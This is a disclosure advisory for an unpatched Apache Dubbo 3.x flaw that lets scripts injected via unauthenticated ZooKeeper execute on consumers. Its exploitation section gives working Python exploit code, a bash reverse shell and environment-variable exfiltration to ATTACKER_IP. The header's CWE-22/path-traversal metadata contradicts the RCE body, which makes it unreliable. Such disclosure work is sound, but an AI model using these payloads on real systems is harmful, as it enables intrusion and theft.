Responsible Disclosure
This vulnerability was identified by SecureLayer7 as part of our security research and was reported to the affected organization through our responsible disclosure process. We provided the affected organization with sufficient time to investigate, validate, and remediate the issue before considering public disclosure.
As of the date of publication, more than 90 days have elapsed since our initial disclosure, and we have not received a response or any indication that the issue has been addressed. Consistent with widely accepted responsible disclosure practices, we are publishing our findings to raise awareness, enable organizations to assess their exposure, and support the broader security community. The technical details presented in this article are intended solely for defensive and educational purposes. The disclosure timelime has also been provided at the end.
Until an official fix or mitigation is made available by the affected organization, users are strongly encouraged to evaluate their exposure and implement appropriate compensating controls wherever possible. Depending on the deployment, these may include restricting access to the affected functionality through network segmentation, VPNs or IP allowlisting, enforcing strong authentication and least-privilege access, monitoring for suspicious activity, and, where practical, temporarily disabling or limiting access to the vulnerable component until a remediation is available.
Executive Summary
Finding ID: REMOTE-003 (novel — no CVE assigned)
CVSS Score: 7.5 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Affected Versions: Apache Dubbo 3.0.0 through 3.3.6 (and 3.3.7-SNAPSHOT)
Fixed Version: Not yet patched
Vulnerability Type: Path Traversal → ZooKeeper Namespace Escape / Arbitrary Filesystem Access
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Introduction
A critical unauthenticated Remote Code Execution vulnerability affecting the Apache Dubbo 3.3.x RPC framework. This vulnerability allows an attacker with network access to an unauthenticated ZooKeeper (or Nacos/Apollo) config center to achieve arbitrary code execution on every Dubbo consumer node in the cluster by writing a malicious YAML script routing rule. The issue stems from the AppScriptStateRouter class, which is auto-loaded via Dubbo’s SPI extension mechanism and subscribes to config center keys without any authentication, input validation, or effective sandboxing of script execution. No user interaction or Dubbo-level authentication is required — the attacker only needs to write a ZooKeeper znode. The vulnerability is a regression of CVE-2021-30181, which was fixed in Dubbo 2.7.10 by both adding a SecurityManager-based sandbox and removing the ScriptRouterFactory from the default SPI. In the Dubbo 3.x architecture rewrite, only the ineffective sandbox was carried forward; the SPI disabling was not applied, and a new AppScriptStateRouter class was introduced that expands the attack surface beyond what existed in 2.x.
What is Apache Dubbo?
Apache Dubbo is a high-performance, Java-based RPC framework originally developed by Alibaba and donated to the Apache Software Foundation. It is widely deployed across the Chinese tech industry and beyond, powering service-to-service communication in microservice architectures at massive scale. Dubbo provides service discovery via registries (ZooKeeper, Nacos, Consul), dynamic configuration via config centers, load balancing, traffic management, and a pluggable routing layer.
The routing layer is the component relevant to this vulnerability. When a consumer makes an RPC call, the invocation passes through a chain of StateRouter implementations that filter the list of available provider invokers. Dubbo’s SPI (Service Provider Interface) mechanism automatically discovers and loads StateRouterFactory implementations from META-INF/dubbo/internal/ configuration files at startup — no explicit user configuration is required. The AppScriptStateRouter is one such auto-loaded router that allows routing decisions to be driven by JavaScript (or other JSR-223) scripts stored in the config center. This design means that any entity capable of writing to the config center can inject executable code that runs inside every consumer’s JVM on every RPC call — a catastrophic trust boundary violation when the config center (typically ZooKeeper) has no authentication enabled, which is the default configuration.
Lab Setup
This section describes how to reproduce the vulnerability in a controlled Docker-based environment.
Step 1: Environment Setup
The lab uses Docker Compose to run ZooKeeper (config center + registry), a Dubbo provider, and a Dubbo consumer. All components use JDK 11 (which includes the Nashorn JavaScript engine).
# docker-compose.yml
services:
zookeeper:
image: zookeeper:3.8
container_name: rce-lab-zookeeper
ports:
- "2181:2181"
networks:
- dubbo-lab
dubbo-provider:
build: ./provider
container_name: rce-lab-provider
environment:
ZOOKEEPER_ADDRESS: zookeeper
depends_on:
- zookeeper
ports:
- "20880:20880"
- "50051:50051"
networks:
- dubbo-lab
dubbo-consumer:
build: ./consumer
container_name: rce-lab-consumer
environment:
ZOOKEEPER_ADDRESS: zookeeper
depends_on:
- zookeeper
- dubbo-provider
networks:
- dubbo-lab
networks:
dubbo-lab:
driver: bridge
The provider and consumer are Spring Boot 2.7.18 applications using dubbo-spring-boot-starter 3.3.6 with ZooKeeper as registry, config center, and metadata store. Both use eclipse-temurin:11 as the JDK runtime. The consumer calls DemoService.sayHello() every 3 seconds.
Step 2: Build and Start
cd RCE-001_002_lab
docker compose build
docker compose up -d
Wait approximately 30 seconds for ZooKeeper to start and Dubbo services to register.
Step 3: Verification
Confirm the consumer is making successful RPC calls:
docker compose logs dubbo-consumer --tail=5
Expected output:
rce-lab-consumer | [RPC #42] Result: Hello world-42
rce-lab-consumer | [RPC #43] Result: Hello world-43
rce-lab-consumer | [RPC #44] Result: Hello world-44
Confirm Nashorn is available on the consumer:
docker exec rce-lab-consumer jrunscript -e "print('Nashorn available')"
Expected: Nashorn available
Patch Diffing
The original CVE-2021-30181 was addressed in Dubbo 2.7.10 via PR #7428, which modified 2 files across 2 commits. The first commit (191e3b3) added an AccessControlContext sandbox around the function.eval() call in ScriptRouter.java. The second commit (ec8e659) removed the script=ScriptRouterFactory entry from the RouterFactory SPI configuration file, effectively disabling the script router by default. The SPI removal was the more effective mitigation because the sandbox only functions when a Java SecurityManager is active — and no production Dubbo deployment uses one.
ScriptRouter.java — route() method (sandbox addition):
// BEFORE (vulnerable — Dubbo 2.x pre-fix):
public <T> List<Invoker<T>> route(List<Invoker<T>> invokers, URL url,
Invocation invocation) throws RpcException {
try {
Bindings bindings = createBindings(invokers, invocation);
if (function == null) { return invokers; }
return getRoutedInvokers(function.eval(bindings)); // FULL JVM PRIVILEGES
} catch (ScriptException e) { ... }
}
// AFTER (patched — Dubbo 2.7.10):
public <T> List<Invoker<T>> route(List<Invoker<T>> invokers, URL url,
Invocation invocation) throws RpcException {
Bindings bindings = createBindings(invokers, invocation);
if (function == null) { return invokers; }
return getRoutedInvokers(AccessController.doPrivileged(
new PrivilegedAction() {
public Object run() {
try { return function.eval(bindings); } // SANDBOXED (needs SecurityManager)
catch (ScriptException e) { ... return invokers; }
}
}, accessControlContext)); // Only allows accessDeclaredMembers
}
The sandbox wraps function.eval() in AccessController.doPrivileged() with a restricted AccessControlContext that only permits RuntimePermission(“accessDeclaredMembers”). This prevents calls to Runtime.exec(), ProcessBuilder, file I/O, and network sockets — but only when a SecurityManager is installed. Without one, doPrivileged() is a complete no-op and the script runs with full JVM privileges.
RouterFactory SPI — script entry removal:
# BEFORE (vulnerable):
script=org.apache.dubbo.rpc.cluster.router.script.ScriptRouterFactory
# AFTER (patched — commit ec8e659):
# script entry REMOVED — ScriptRouterFactory no longer auto-loaded
This was the kill switch. By removing the SPI entry, ScriptRouter is never instantiated unless a deployment explicitly re-adds it. This eliminates the attack surface entirely for default configurations.
In Dubbo 3.3.x, the sandbox code was faithfully copied into the new ScriptStateRouter class. However, the SPI disabling was not applied to the new StateRouterFactory SPI file. The entry script-app=AppScriptRouterFactory is present and active, meaning every Dubbo 3.3.x consumer automatically loads the AppScriptStateRouter — making the script execution reachable by default.
The Analysis
Attack Flow

Entry Point Analysis
The entry point for this vulnerability is the ZooKeeper config center. Apache Dubbo uses ZooKeeper not only as a service registry but also as a dynamic configuration store. When a Dubbo consumer starts, the AppScriptRouterFactory — loaded automatically via the StateRouterFactory SPI — creates an AppScriptStateRouter instance for each service interface. This router subscribes to config center keys matching the pattern {providerApplicationName}.script-router under the /dubbo/config/dubbo/ ZooKeeper path. ZooKeeper’s default configuration has no authentication — any client that can reach port 2181 can create, read, or modify any znode. This means the entry point requires zero credentials and is reachable over the network.
AppScriptRouterFactory.java — createRouter method:
@Activate(order = 200) // AUTO-LOADED via SPI
public class AppScriptRouterFactory extends CacheableStateRouterFactory {
public static final String NAME = "script";
@Override
protected <T> StateRouter<T> createRouter(Class<T> interfaceClass, URL url) {
return new AppScriptStateRouter<>(url);
// VULNERABILITY: Auto-creates a router that will listen to config center
// USER-CONTROLLED: The config center content at {app}.script-router
}
}
Data Flow Analysis
The attacker-controlled data originates as raw bytes written to a ZooKeeper znode at the path /dubbo/config/dubbo/{providerApp}.script-router. When the znode is created or modified, ZooKeeper’s watch mechanism fires a notification to all subscribers. The AppScriptStateRouter, which auto-registered as a ConfigurationListener in its notify() method, receives a ConfigChangedEvent containing the raw YAML content. The process() method passes this content to ScriptRule.parse(), which uses SnakeYAML to deserialize the YAML into a map and extracts the type and script fields without any validation or allowlisting. The type field is used to select a JSR-223 script engine via ScriptEngineManager.getEngineByName(), and the script field becomes the source code that is compiled via Compilable.compile() and executed via CompiledScript.eval() on every subsequent RPC call. At no point in this chain is the data authenticated, validated, sanitized, or restricted.
AppScriptStateRouter.java — notify method (auto-subscription):
@Override
public void notify(BitList<Invoker<T>> invokers) {
Invoker<T> invoker = invokers.get(0);
URL url = invoker.getUrl();
String providerApplication = url.getRemoteApplication();
// TAINTED DATA: providerApplication from registry, used to build config key
// MISSING CHECK: No validation that config center content is trusted
synchronized (this) {
if (!providerApplication.equals(application)) {
String key = providerApplication + RULE_SUFFIX; // "{app}.script-router"
this.getRuleRepository().addListener(key, this); // Auto-subscribe to ZK watch
application = providerApplication;
String rawRule = this.getRuleRepository().getRule(
key, DynamicConfiguration.DEFAULT_GROUP);
if (StringUtils.isNotEmpty(rawRule)) {
this.process(new ConfigChangedEvent(
key, DynamicConfiguration.DEFAULT_GROUP, rawRule));
// EXPLOITATION POINT: Existing rule in ZK is immediately processed
}
}
}
}
AppScriptStateRouter.java — process method (config change handler):
@Override
public synchronized void process(ConfigChangedEvent event) {
try {
if (event.getChangeType().equals(ConfigChangeType.DELETED)) {
this.scriptRule = null;
} else {
this.scriptRule = ScriptRule.parse(event.getContent());
// TAINTED DATA: event.getContent() is raw YAML from ZooKeeper, attacker-controlled
URL scriptUrl = getUrl()
.addParameter(TYPE_KEY,
isEmpty(scriptRule.getType()) ? DEFAULT_SCRIPT_TYPE_KEY
: scriptRule.getType())
// VULNERABILITY: scriptRule.getType() is attacker-controlled engine name
.addParameterAndEncoded(RULE_KEY, scriptRule.getScript())
// VULNERABILITY: scriptRule.getScript() is attacker-controlled code
.addParameter(FORCE_KEY, scriptRule.isForce())
.addParameter(RUNTIME_KEY, scriptRule.isRuntime());
scriptRouter = new ScriptStateRouter<>(scriptUrl);
// EXPLOITATION POINT: Compiles attacker script in constructor
}
} catch (Exception e) { ... }
}
Core Vulnerability Analysis
The core vulnerability lies in ScriptStateRouter’s constructor and doRoute() method. When AppScriptStateRouter.process() creates a new ScriptStateRouter<>(scriptUrl), the constructor extracts the type and rule parameters from the URL — both of which were set from attacker-controlled YAML fields — and uses them to obtain a JSR-223 ScriptEngine and compile the script. The getEngine() method passes the attacker-controlled type directly to ScriptEngineManager.getEngineByName() with no allowlist, allowing selection of any available engine (Nashorn, Groovy, Jython, JRuby). The getRule() method extracts the script content with no sanitization. The Compilable.compile() call turns the attacker’s source code into executable bytecode. On every subsequent RPC call, doRoute() invokes function.eval(bindings) — which executes the compiled script with full JVM privileges.
The only protection is an AccessControlContext sandbox inherited from the CVE-2021-30181 fix. This sandbox wraps function.eval() in AccessController.doPrivileged() with restricted permissions. However, this mechanism is completely inoperative: AccessController.doPrivileged() only enforces permission restrictions when a SecurityManager is installed and active. No production Dubbo deployment runs with a SecurityManager. The SecurityManager API was deprecated in JDK 17 (JEP 411) and entirely removed in JDK 24. Even in the theoretical case where a SecurityManager IS active, Moritz Bechler documented a sandbox escape via this.engine.factory.scriptEngine.eval() that accesses the parent ScriptEngine outside the AccessControlContext — the same bypass used in the original GHSL-2021-042 PoC.
ScriptStateRouter.java — constructor (compilation sink):
public ScriptStateRouter(URL url) {
super(url);
this.setUrl(url);
engine = getEngine(url);
// VULNERABILITY 1: getEngine() passes attacker-controlled type to ScriptEngineManager
rule = getRule(url);
// VULNERABILITY 2: getRule() extracts attacker-controlled script with no sanitization
try {
Compilable compilable = (Compilable) engine;
function = compilable.compile(rule);
// EXPLOITATION POINT: Attacker's code is compiled into executable bytecode
} catch (ScriptException e) { ... }
}
ScriptStateRouter.java — getEngine method (no allowlist):
private ScriptEngine getEngine(URL url) {
String type = url.getParameter(TYPE_KEY, DEFAULT_SCRIPT_TYPE_KEY);
// VULNERABILITY: type is attacker-controlled, defaults to "javascript"
// MISSING CHECK: No allowlist — accepts groovy, jython, jruby, or any JSR-223 engine
return ConcurrentHashMapUtils.computeIfAbsent(ENGINES, type, t -> {
ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName(type);
// EXPLOITATION POINT: Arbitrary engine instantiation
if (scriptEngine == null) {
throw new IllegalStateException("unsupported route engine type: " + type);
}
return scriptEngine;
});
}
ScriptStateRouter.java — doRoute method (execution sink):
@Override
protected BitList<Invoker<T>> doRoute(
BitList<Invoker<T>> invokers, URL url, Invocation invocation,
boolean needToPrintMessage, Holder<RouterSnapshotNode<T>> nodeHolder,
Holder<String> messageHolder) throws RpcException {
if (engine == null || function == null) { return invokers; }
Bindings bindings = createBindings(invokers, invocation);
return getRoutedInvokers(
invokers,
AccessController.doPrivileged(
(PrivilegedAction<Object>) () -> {
try {
return function.eval(bindings);
// EXPLOITATION POINT: Attacker code executes here
// on EVERY RPC call through this consumer
} catch (ScriptException e) { ... }
},
accessControlContext));
// VULNERABILITY: accessControlContext sandbox is no-op without SecurityManager
}
Impact Analysis
Successful exploitation of this vulnerability grants the attacker arbitrary code execution as the JVM process user on every Dubbo consumer node that subscribes to the affected provider application. Because AppScriptStateRouter is auto-loaded via SPI, every consumer in a Dubbo 3.3.x cluster is a target by default. The malicious script executes on every RPC call, meaning the attacker’s payload fires continuously — once per invocation interval (in the lab, every 3 seconds). The RPC calls continue to succeed normally after script execution, making the attack completely silent from the application’s perspective.
The attacker can leverage this to exfiltrate sensitive data (database credentials, API keys, customer data accessible to the service), establish persistent reverse shells, pivot to internal networks, install cryptocurrency miners, or disable services entirely. In a typical microservice architecture, compromising the consumer layer means the attacker controls the service-to-service communication fabric — they can intercept, modify, or redirect any RPC call passing through the compromised consumer. Given that ZooKeeper’s default configuration exposes port 2181 without authentication, and that many Dubbo deployments run ZooKeeper on internal networks without additional access controls, the attack surface is enormous.
Exploitation
Exploitation requires only network access to the ZooKeeper instance serving as Dubbo’s config center. The attacker writes a YAML document containing a malicious JavaScript payload to a specific ZooKeeper path. The consumer picks up the change automatically via a ZK watch, compiles the script, and executes it on the next RPC call. The entire exploit takes less than 5 seconds from ZK write to code execution.
Step 1: Reconnaissance — Identify the Target
The attacker connects to the exposed ZooKeeper and enumerates the Dubbo service tree to discover registered provider application names.
from kazoo.client import KazooClient
zk = KazooClient(hosts="TARGET_IP:2181")
zk.start()
# List all Dubbo services
services = zk.get_children("/dubbo")
print(f"Dubbo services: {services}")
# List provider application names from instance metadata
for svc in services:
try:
providers = zk.get_children(f"/dubbo/{svc}/providers")
for p in providers:
print(f" Provider: {p}")
except Exception:
pass
zk.stop()
Step 2: Craft the Malicious YAML Rule
The attacker constructs a YAML document conforming to Dubbo’s ScriptRule format. The type field selects the Nashorn JavaScript engine (default on JDK 8-14), and the script field contains the payload.
configVersion: v3.0
key: rce-lab-provider
type: javascript
enabled: true
force: false
runtime: true
script: |
(function route(invokers, invocation, context) {
java.lang.Runtime.getRuntime().exec("touch /tmp/pwned-vector-b");
return invokers;
}(invokers, invocation, context));
The script calls Runtime.exec() to execute an OS command, then returns the invokers list unchanged so the RPC call succeeds normally — maintaining stealth.
Step 3: Write the Payload to ZooKeeper
#!/usr/bin/env python3
"""RCE-001 — Config Center Poisoning Exploit"""
import sys
from kazoo.client import KazooClient
ZK_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PROVIDER_APP = "rce-lab-provider"
YAML_RULE = f"""configVersion: v3.0
key: {PROVIDER_APP}
type: javascript
enabled: true
force: false
runtime: true
script: |
(function route(invokers, invocation, context) {{
java.lang.Runtime.getRuntime().exec("touch /tmp/pwned-vector-b");
return invokers;
}}(invokers, invocation, context));"""
CONFIG_PATH = f"/dubbo/config/dubbo/{PROVIDER_APP}.script-router"
zk = KazooClient(hosts=f"{ZK_HOST}:2181")
zk.start()
print(f"[+] Connected to ZooKeeper (no authentication)")
zk.ensure_path("/dubbo/config/dubbo")
rule_bytes = YAML_RULE.encode("utf-8")
if zk.exists(CONFIG_PATH):
zk.set(CONFIG_PATH, rule_bytes)
else:
zk.create(CONFIG_PATH, rule_bytes)
print(f"[+] Wrote malicious rule to {CONFIG_PATH}")
zk.stop()
Step 4: Verify Code Execution
After waiting approximately 3-5 seconds (one RPC cycle), check the consumer container:
docker exec rce-lab-consumer ls -la /tmp/pwned-vector-b
Expected Output:
-rw-r--r-- 1 root root 0 Apr 8 18:45 /tmp/pwned-vector-b
The file exists — confirming that Runtime.exec(“touch /tmp/pwned-vector-b”) executed on the consumer. The consumer logs show RPC calls continuing normally with no errors:
rce-lab-consumer | [RPC #856] Result: Hello world-856
rce-lab-consumer | [RPC #857] Result: Hello world-857
Step 5: Advanced Payload — Reverse Shell
For a more impactful demonstration, the script field can establish a reverse shell:
script: |
(function route(invokers, invocation, context) {
var cmd = new java.lang.String[]{"/bin/bash", "-c",
"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"};
java.lang.Runtime.getRuntime().exec(cmd);
return invokers;
}(invokers, invocation, context));
Or exfiltrate environment variables:
script: |
(function route(invokers, invocation, context) {
var env = java.lang.System.getenv();
var url = new java.net.URL("http://ATTACKER_IP:8080/exfil?" + env.toString());
url.openStream();
return invokers;
}(invokers, invocation, context));
Mitigation
Immediate Actions
The highest-priority action is to remove the script-app entry from the StateRouterFactory SPI configuration file (META-INF/dubbo/internal/org.apache.dubbo.rpc.cluster.router.state.StateRouterFactory), mirroring the approach taken in the CVE-2021-30181 fix for Dubbo 2.x. This immediately eliminates the auto-loading of AppScriptStateRouter and removes the config-center attack vector for all default deployments. Organizations that explicitly require script-based routing should be required to opt-in via custom SPI configuration.
Additionally, all ZooKeeper deployments used as Dubbo config centers must enable authentication (SASL/Kerberos or digest ACLs) to prevent unauthorized writes. The Dubbo documentation should prominently warn that running ZooKeeper without authentication exposes the cluster to RCE.
Configuration Hardening
ZooKeeper ACLs should be configured to restrict write access to the /dubbo/config/ path:
# In zkCli.sh — set digest ACL on the config path
addauth digest dubbo-admin:SecurePassword123
setAcl /dubbo/config/dubbo auth:dubbo-admin:SecurePassword123:cdrwa
For Nacos deployments, enable authentication and restrict the dubbo namespace to authorized operators only.
Conclusion
The Vulnerability demonstrates a critical regression of CVE-2021-30181 in Apache Dubbo’s 3.3.x branch. The vulnerability allows unauthenticated remote code execution on every consumer node in a Dubbo cluster through a single write to an unauthenticated ZooKeeper config center. The attack is silent — RPC calls continue to function normally while the malicious script executes on every invocation — and requires no user interaction, no Dubbo credentials, and no special network position beyond TCP access to ZooKeeper port 2181.
The root cause is a compounding failure of multiple security principles. First, the principle of secure defaults was violated: AppScriptStateRouter is auto-loaded via SPI with no opt-in required, directly contradicting the CVE-2021-30181 fix which explicitly disabled the SPI entry. Second, input validation is entirely absent: the type and script fields from config center YAML are used verbatim with no allowlisting, sanitization, or integrity verification. Third, the defense-in-depth provided by the AccessControlContext sandbox is illusory: it depends on SecurityManager, which is disabled by default, deprecated since JDK 17, and removed in JDK 24. Fourth, the trust boundary between the config center and executable code is non-existent: Dubbo treats config center content as trusted, but ZooKeeper’s default configuration allows unauthenticated access.
The Dubbo project should immediately remove AppScriptRouterFactory from the default SPI, deprecate the script routing feature entirely, and publish a security advisory. If script-based routing is retained, it must use a properly sandboxed execution environment (such as GraalJS with allowHostAccess(NONE)) rather than the non-functional AccessControlContext approach. The broader lesson for the security community is that architecture rewrites are a common vector for vulnerability regressions: when code is restructured, security mitigations that were applied to the old architecture must be consciously and completely re-evaluated against the new design — not merely copy-pasted.
Disclosure Timeline
- 23 Apr 2026: Vulnerability reported.
- 28 Apr 2026: The vendor acknowledged the report and confirmed that the vulnerability was under review.
- 25 May 2026: A follow-up email was sent to the vendor requesting an update.
- 10 Jul 2026: A second follow-up email was sent to the vendor requesting an update.
- 05 Aug 2026: As of the publication of this vulnerability, no further response has been received from the vendor.